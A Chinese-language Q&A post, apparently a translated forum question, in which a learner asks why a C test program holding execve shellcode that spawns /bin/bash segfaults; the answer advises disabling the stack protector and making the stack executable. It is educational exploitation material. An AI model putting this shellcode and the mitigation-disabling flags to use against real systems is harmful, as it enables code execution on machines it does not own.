没有从ExecV生成的bash shell

时间:2015-02-12 14:27:22

标签: security buffer-overflow execv

我正在尝试通过跟随http://www.securitytube.net/groups?operation=view&groupId=4的视频来了解我的Ubuntu 12.04 32位计算机上的缓冲区溢出。目前,我在第5部分,它注入了一些可重定位代码,通过ExecVe生成一个bash shell

我可以使用Shellcode.c来构建gcc -mpreferred-stack-boundary=2 -o Shellcode Shellcode.c,只需在第5部分视频中显示。但是,当我运行C代码时,我得到的只是Segmentation Fault (core dumped)。我没有得到像它在视频中显示的bash shell。

有人能告诉我为什么我不会像演示节目一样产生bash shell吗?我的直觉告诉我,这是因为我使用的是更新版本的内核(不知道演示中使用了什么)。

谢谢!

代码如下:

Shellcode.c

#include<stdio.h>

char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"
                   "\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e"
                   "\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62"
                   "\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";


int main(){

        int *ret;

        ret = (int *)&ret +2;

        (*ret) = (int)shellcode;

}

1 个答案:

答案 0 :(得分:0)

我的朋友, 确保你正确编译它。

如果它是32位shellcode,很可能是因为\ xcd \ x80就在那里。

确保堆栈可执行且没有堆栈保护器

gcc -m32 -o a shell.code -fno-stack-protector -z execstack ./a

如果你的shellcode是正确的,这应该给你一个shell。

如果没有运行gdb a来逐步执行哪一部分是错误的。